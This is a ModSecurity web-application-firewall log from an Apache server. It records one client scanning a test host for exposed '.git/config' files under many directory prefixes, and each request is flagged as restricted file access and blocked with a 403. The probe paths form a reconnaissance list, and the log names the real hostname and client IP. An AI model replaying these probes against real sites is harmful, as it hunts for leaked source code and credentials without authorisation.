[Tue Jul 09 10:23:15.249187 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXgAAAAE&quot;]
[Tue Jul 09 10:23:15.249214 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQgwAAAAY&quot;]
[Tue Jul 09 10:23:15.249369 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCgAAAAU&quot;]
[Tue Jul 09 10:23:15.249436 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQgwAAAAY&quot;]
[Tue Jul 09 10:23:15.249640 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQgwAAAAY&quot;]
[Tue Jul 09 10:23:15.341775 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcwAAAAM&quot;]
[Tue Jul 09 10:23:15.342062 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcwAAAAM&quot;]
[Tue Jul 09 10:23:15.342297 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcwAAAAM&quot;]
[Tue Jul 09 10:23:15.343686 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMQAAAAI&quot;]
[Tue Jul 09 10:23:15.343879 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMQAAAAI&quot;]
[Tue Jul 09 10:23:15.344043 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMQAAAAI&quot;]
[Tue Jul 09 10:23:15.345255 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1QAAAAQ&quot;]
[Tue Jul 09 10:23:15.345409 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1QAAAAQ&quot;]
[Tue Jul 09 10:23:15.345568 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1QAAAAQ&quot;]
[Tue Jul 09 10:23:15.347096 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /http/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbAAAAAc&quot;]
[Tue Jul 09 10:23:15.347250 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbAAAAAc&quot;]
[Tue Jul 09 10:23:15.347426 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbAAAAAc&quot;]
[Tue Jul 09 10:23:15.348548 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /htdocs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXwAAAAE&quot;]
[Tue Jul 09 10:23:15.348729 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXwAAAAE&quot;]
[Tue Jul 09 10:23:15.348762 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhAAAAAY&quot;]
[Tue Jul 09 10:23:15.348885 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXwAAAAE&quot;]
[Tue Jul 09 10:23:15.348922 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhAAAAAY&quot;]
[Tue Jul 09 10:23:15.349090 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhAAAAAY&quot;]
[Tue Jul 09 10:23:15.349994 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /assets/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCwAAAAU&quot;]
[Tue Jul 09 10:23:15.350142 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCwAAAAU&quot;]
[Tue Jul 09 10:23:15.350175 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjgAAAAA&quot;]
[Tue Jul 09 10:23:15.350298 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCwAAAAU&quot;]
[Tue Jul 09 10:23:15.350323 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjgAAAAA&quot;]
[Tue Jul 09 10:23:15.350479 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjgAAAAA&quot;]
[Tue Jul 09 10:23:15.444778 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMgAAAAI&quot;]
[Tue Jul 09 10:23:15.445304 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMgAAAAI&quot;]
[Tue Jul 09 10:23:15.445949 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMgAAAAI&quot;]
[Tue Jul 09 10:23:15.446207 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /css/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1gAAAAQ&quot;]
